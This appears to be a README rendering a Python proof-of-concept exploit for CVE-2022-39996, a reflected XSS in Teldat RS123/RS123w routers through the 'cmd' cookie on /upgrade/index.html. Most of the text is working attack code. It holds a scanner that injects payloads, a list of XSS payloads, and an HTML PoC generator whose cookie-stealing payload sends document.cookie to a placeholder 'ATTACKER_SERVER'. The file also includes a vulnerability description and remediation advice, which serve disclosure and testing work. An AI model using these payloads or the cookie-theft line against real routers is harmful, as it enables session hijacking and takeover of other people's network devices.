README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2022-39996 - Teldat Router (RS123/RS123w) Reflected XSS POC
Description:
Teldat RS123/RS123w routers contain a Reflected Cross-Site Scripting (XSS)
vulnerability in the /upgrade/index.html endpoint. The "cmd" HTTP cookie
parameter is reflected unsanitized in the response, allowing attackers to
inject arbitrary JavaScript code that executes in the victim's browser.
The attacker can craft a malicious HTTP request with an XSS payload in the
"cmd" cookie. When an authenticated administrator visits the crafted page,
the malicious JavaScript executes in the context of the router's web
interface, potentially leading to session hijacking, configuration changes,
or full router compromise.
CWE: CWE-79 (Cross-Site Scripting)
CVSS: 6.1 (Medium)
Severity: Medium
Affected Versions:
- Teldat RS123
- Teldat RS123w
Vulnerable Endpoint:
/upgrade/index.html (via "cmd" cookie parameter)
Usage:
# Basic POC - demonstrates the vulnerability
python CVE-2022-39996.py -t 192.168.1.1
# Custom XSS payload
python CVE-2022-39996.py -t 192.168.1.1 --payload "<script>alert(document.cookie)</script>"
# With authentication (if basic auth is required)
python CVE-2022-39996.py -t 192.168.1.1 -u root -p root
# Generate a proof-of-concept HTML page for demonstration
python CVE-2022-39996.py -t 192.168.1.1 --gen-poc
"""
import argparse
import sys
import requests
import re
import base64
import html
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
DEFAULT_TIMEOUT = 10
BANNER = r"""
_____ _ _ _____ _____ _____ _____ _____ _____ _____ _____ _____ ____
/ __ \ | | | ___| / __ \| _ |/ __ \/ __ \ |____ || _ || _ || _ |/ ___|
| / \/ | | | |__ ______`' / /'| |/' |`' / /'`' / /'______ / /| |_| || |_| || |_| / /___
| | | | | | __|______| / / | /| | / / / / |______| \ \\____ |\____ |\____ | ___ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___./ /___ .___/ /.___/ /.___/ /.___/ / \_/ |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \____/ \____/ \____/\____/\_____/
"""
# Default XSS payload - simple alert
DEFAULT_PAYLOAD = "<script>alert('CVE-2022-39996_XSS')</script>"
# Various XSS test payloads for verification
TEST_PAYLOADS = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg/onload=alert('XSS')>",
"javascript:alert('XSS')",
"'\"><script>alert('XSS')</script>",
"<body onload=alert('XSS')>",
]
def check_xss(target, port, use_ssl=False, username=None, password=None, payload=None, timeout=None):
"""
Check for reflected XSS via the 'cmd' cookie on /upgrade/index.html
Args:
target: Target IP/hostname
port: HTTP(S) port
use_ssl: Use HTTPS
username: HTTP basic auth username (optional)
password: HTTP basic auth password (optional)
payload: XSS payload to inject
timeout: Request timeout
Returns:
dict: Results with vulnerability status and evidence
"""
timeout = timeout or DEFAULT_TIMEOUT
payload = payload or DEFAULT_PAYLOAD
protocol = "https" if use_ssl else "http"
base_url = f"{protocol}://{target}:{port}"
vulnerable_url = f"{base_url}/upgrade/index.html"
auth = (username, password) if username and password else None
# Prepare cookie with XSS payload
cookies = {"cmd": payload}
result = {
"vulnerable": False,
"url": vulnerable_url,
"payload": payload,
"evidence": "",
"error": None,
}
try:
r = requests.get(
vulnerable_url,
cookies=cookies,
auth=auth,
timeout=timeout,
verify=False,
allow_redirects=False,
)
response_text = r.text
# Check if payload is reflected in response
if payload in response_text:
result["vulnerable"] = True
# Extract context around the reflected payload
idx = response_text.find(payload)
start = max(0, idx - 50)
end = min(len(response_text), idx + len(payload) + 50)
context = response_text[start:end]
# Check if the payload is HTML-entity encoded (mitigated)
encoded_payload = html.escape(payload)
if encoded_payload in response_text and payload not in response_text.replace(
"<", "<"
).replace(">", ">").replace(""", '"').replace("'", "'"):
result["mitigated"] = True
result["evidence"] = f"Payload reflected but HTML-encoded:\n...{context}..."
else:
result["evidence"] = f"Payload reflected UNSANITIZED:\n...{context}..."
else:
result["evidence"] = (
f"Payload NOT reflected in response. "
f"Response length: {len(response_text)} bytes"
)
except requests.exceptions.ConnectionError:
result["error"] = f"Connection refused to {vulnerable_url}"
except requests.exceptions.Timeout:
result["error"] = f"Timeout connecting to {vulnerable_url}"
except Exception as e:
result["error"] = str(e)
return result
def test_multiple_payloads(target, port, use_ssl=False, username=None, password=None, timeout=None):
"""
Test multiple XSS payloads against the target to confirm the vulnerability.
"""
print("\n[*] Testing multiple XSS payloads for confirmation...\n")
results = []
for i, payload in enumerate(TEST_PAYLOADS, 1):
print(f" [{i}/{len(TEST_PAYLOADS)}] Testing: {payload[:60]}...")
result = check_xss(
target, port, use_ssl, username, password, payload, timeout
)
result["payload"] = payload
results.append(result)
if result["vulnerable"]:
print(f" [!] REFLECTED (unsanitized)")
elif result.get("mitigated"):
print(f" [*] Reflected but HTML-encoded (potentially mitigated)")
else:
print(f" [-] Not reflected")
return results
def generate_poc_html(target, port, use_ssl=False):
"""
Generate a standalone HTML POC file that demonstrates the XSS.
This can be hosted or sent to the target administrator.
"""
protocol = "https" if use_ssl else "http"
target_url = f"{protocol}://{target}:{port}/upgrade/index.html"
# XSS payload to steal cookies
steal_payload = (
"<script>"
"new Image().src='http://ATTACKER_SERVER/steal?c='+document.cookie;"
"</script>"
)
poc_html = f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2022-39996 - Teldat Router Reflected XSS POC</title>
<style>
body {{ font-family: monospace; max-width: 800px; margin: 50px auto; padding: 20px; }}
.warning {{ color: red; font-weight: bold; }}
.info {{ background: #f0f0f0; padding: 10px; border-left: 4px solid #333; }}
code {{ background: #eee; padding: 2px 5px; }}
</style>
</head>
<body>
<h1>CVE-2022-39996 - Teldat Router Reflected XSS</h1>
<p class="warning">Proof of Concept - For educational and authorized testing only</p>
<h2>Vulnerability Details</h2>
<ul>
<li><strong>Target:</strong> <code>{target_url}</code></li>
<li><strong>Parameter:</strong> HTTP Cookie <code>cmd</code></li>
<li><strong>Type:</strong> Reflected Cross-Site Scripting (XSS)</li>
<li><strong>CWE:</strong> CWE-79</li>
</ul>
<h2>Proof of Concept</h2>
<p>The <code>cmd</code> cookie value is reflected without sanitization.
Click the button below to trigger the XSS (simulated):</p>
<button onclick="simulateXSS()"
style="padding:10px 20px;font-size:16px;cursor:pointer;">
Trigger XSS POC
</button>
<div id="output" class="info" style="margin-top:20px;"></div>
<h2>Impact</h2>
<ul>
<li>Session hijacking via cookie theft</li>
<li>Arbitrary JavaScript execution in victim's browser</li>
<li>Router configuration manipulation</li>
<li>Cross-site request forgery (CSRF) combined attacks</li>
</ul>
<h2>Remediation</h2>
<ul>
<li>Properly sanitize or encode all user-controlled input before output</li>
<li>Set HttpOnly flag on session cookies</li>
<li>Implement Content-Security-Policy (CSP) headers</li>
<li>Upgrade to a patched firmware version from Teldat</li>
</ul>
<script>
function simulateXSS() {{
var output = document.getElementById('output');
output.innerHTML = '<h3>XSS Execution Simulated:</h3>'
+ '<p>In a real attack, the malicious cookie would contain:</p>'
+ '<pre><script>alert(document.cookie)</script></pre>'
+ '<p>This would trigger when an authenticated admin visits <code>'
+ '{target_url}</code></p>'
+ '<p style="color:red;">'
+ 'In a live environment, this would execute in the context of '
+ 'the router web interface.</p>';
// For demonstration only
alert('CVE-2022-39996\\\\nReflected XSS in Teldat Router\\\\n'
+ 'Target: {target_url}\\\\n'
+ 'Payload: cmd cookie parameter');
}}
</script>
</body>
</html>
"""
return poc_html
def main():
parser = argparse.ArgumentParser(
description="CVE-2022-39996 - Teldat Router Reflected XSS POC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python CVE-2022-39996.py -t 192.168.1.1
python CVE-2022-39996.py -t 192.168.1.1 --multi
python CVE-2022-39996.py -t 192.168.1.1 -u root -p root
python CVE-2022-39996.py -t 192.168.1.1 --gen-poc
python CVE-2022-39996.py -t 192.168.1.1 --payload "<script>alert(1)</script>"
""",
)
parser.add_argument("-t", "--target", required=True, help="Target IP address or hostname")
parser.add_argument("--port", type=int, default=80, help="HTTP port (default: 80)")
parser.add_argument("--ssl", action="store_true", help="Use HTTPS")
parser.add_argument("-u", "--username", help="HTTP Basic Auth username")
parser.add_argument("-p", "--password", help="HTTP Basic Auth password")
parser.add_argument(
"--payload",
default=DEFAULT_PAYLOAD,
help="Custom XSS payload (default: simple alert)",
)
parser.add_argument(
"--multi",
action="store_true",
help="Test multiple XSS payloads for verification",
)
parser.add_argument(
"--gen-poc",
action="store_true",
help="Generate standalone POC HTML file",
)
parser.add_argument(
"--output",
default="poc.html",
help="Output file for generated POC HTML (default: poc.html)",
)
parser.add_argument(
"--timeout",
type=int,
default=DEFAULT_TIMEOUT,
help="Request timeout in seconds",
)
args = parser.parse_args()
print(BANNER)
print("CVE-2022-39996 | Teldat Router Reflected XSS (cmd cookie)")
print("CWE-79 | CVSS 6.1 (Medium)")
print(f"Target: {args.target}:{args.port}")
print("=" * 60)
# Generate POC HTML
if args.gen_poc:
poc_html = generate_poc_html(args.target, args.port, args.ssl)
with open(args.output, "w", encoding="utf-8") as f:
f.write(poc_html)
print(f"\n[+] POC HTML generated: {args.output}")
print(f" Open in browser to view the POC demonstration.")
return
# Single payload test
print(f"\n[*] Testing XSS via 'cmd' cookie...")
print(f" URL: http{'s' if args.ssl else ''}://{args.target}:{args.port}/upgrade/index.html")
print(f" Payload: {args.payload}")
result = check_xss(
args.target,
args.port,
args.ssl,
args.username,
args.password,
args.payload,
args.timeout,
)
print(f"\n[*] Results:")
if result["error"]:
print(f" [-] Error: {result['error']}")
elif result["vulnerable"]:
print(f" [!!!] VULNERABLE - Reflected XSS confirmed!")
print(f"\n Evidence:")
print(f" {result['evidence']}")
else:
print(f" [-] Not vulnerable with this payload")
if result.get("evidence"):
print(f" {result['evidence']}")
# Multi-payload test
if args.multi:
results = test_multiple_payloads(
args.target, args.port, args.ssl, args.username, args.password, args.timeout
)
# Summary
vulnerable_count = sum(1 for r in results if r["vulnerable"])
mitigated_count = sum(1 for r in results if r.get("mitigated"))
print(f"\n{'=' * 60}")
print(f"[*] Multi-payload Test Summary:")
print(f" Total payloads tested: {len(results)}")
print(f" Reflected (unsanitized): {vulnerable_count}")
print(f" Reflected (HTML-encoded): {mitigated_count}")
print(f" Not reflected: {len(results) - vulnerable_count - mitigated_count}")
if vulnerable_count > 0:
print(f"\n[!!!] VULNERABLE: Reflected XSS confirmed with {vulnerable_count} payload(s)")
elif mitigated_count > 0:
print(f"\n[*] Partially mitigated: Payloads reflected but HTML-encoded")
else:
print(f"\n[-] No XSS detected with tested payloads")
if __name__ == "__main__":
main()